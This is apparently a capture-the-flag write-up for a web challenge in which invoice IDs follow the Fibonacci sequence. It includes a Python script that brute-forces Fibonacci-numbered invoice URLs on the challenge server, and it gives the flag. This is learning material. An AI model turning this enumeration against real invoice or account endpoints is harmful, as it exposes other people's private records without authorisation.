# Mind your own business

| Info       | Details          |
| ---------- | ---------------- |
| Category   | Web Exploitation |
| Difficulty | Easy             |

## Challenge Overview

> From the first time we enter the website we get a **form**.

<figure><img src="https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2FW1oLfczBnXeMWR7MxhnB%2FScreenshot_1.png?alt=media&#x26;token=49983a4b-b0f4-451d-a38c-f85f29837546" alt="" width="375"><figcaption><p>form</p></figcaption></figure>

> After we complete it we're redirected to that **invoice page**, where I saw a weird thing here.

<figure><img src="https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2FZ44cDbO5er7etCC0oa2J%2Ffibonacci.png?alt=media&#x26;token=e56ee3b0-7020-40d6-951a-7432424dbc59" alt=""><figcaption><p>Fibonacci Sequence Pattern</p></figcaption></figure>

> This is the well-known **"Fibonacci Sequence Pattern"**. It made me think about numbers, that thing with 1, 1, 2, 3, 5, 8, 13, where **every adjacent two numbers sum up to get the next one**.
>
> I looked at the link and saw `/invoice.php?invoice=1597` then checked 1597 and saw it's a **Fibonacci number**.
>
> I made my life easier using **curl in Kali**, and when I entered a **non-Fibonacci number** I got *Invoice not found*.
>
> So, we can only enter **Fibonacci numbers**, but there are infinite numbers like this. Since we know the flag format and that there are working links with `?invoice=*fibonacci_number*`, we could try to **bruteforce** it in Python using the **requests** library.

> I used the following **Python Script** to **bruteforce** the first 1000 invoices.

```python
import requests

base_url = "http://141.85.224.70:8085/invoice.php?invoice="
flag_indicator = "SSS"

def generate_fibonacci(n_terms):
    a, b = 1, 1
    for _ in range(n_terms):
        yield a
        a, b = b, a + b

def brute_force_fibonacci(limit=1000):
    for fib_num in generate_fibonacci(limit):
        url = f"{base_url}{fib_num}"
        print(f"Trying invoice number: {fib_num}")
        try:
            response = requests.get(url)
            if flag_indicator in response.text:
                print(f"\n[!] Flag found at invoice number: {fib_num}")
                print("Response:\n", response.text)
                break
            else:
                print("No flag found.")
        except Exception as e:
            print(f"Error at invoice {fib_num}: {e}")

if __name__ == "__main__":
    brute_force_fibonacci(1000)
```

We found the flag at invoice **10946**

![](https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2Fqr9L3lDWA8F9fRDcXWK9%2Fscript%20found.png?alt=media\&token=bffc4ae4-d553-4533-a786-6fb0ddcba84d)

<figure><img src="https://3350216265-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F8aLNxke1qPtepwlrf6VI%2Fuploads%2F1CMlx9vP1BMmw6UoDXh9%2Finvoice%2010946.png?alt=media&#x26;token=53a99665-8ac9-40af-9e76-35f23b8e20d6" alt=""><figcaption><p>invoice 10946</p></figcaption></figure>

## Final Flag

`SSS{1ts_n0t_nic3_t0_sn00p_ar0und}`

*made by k0d*
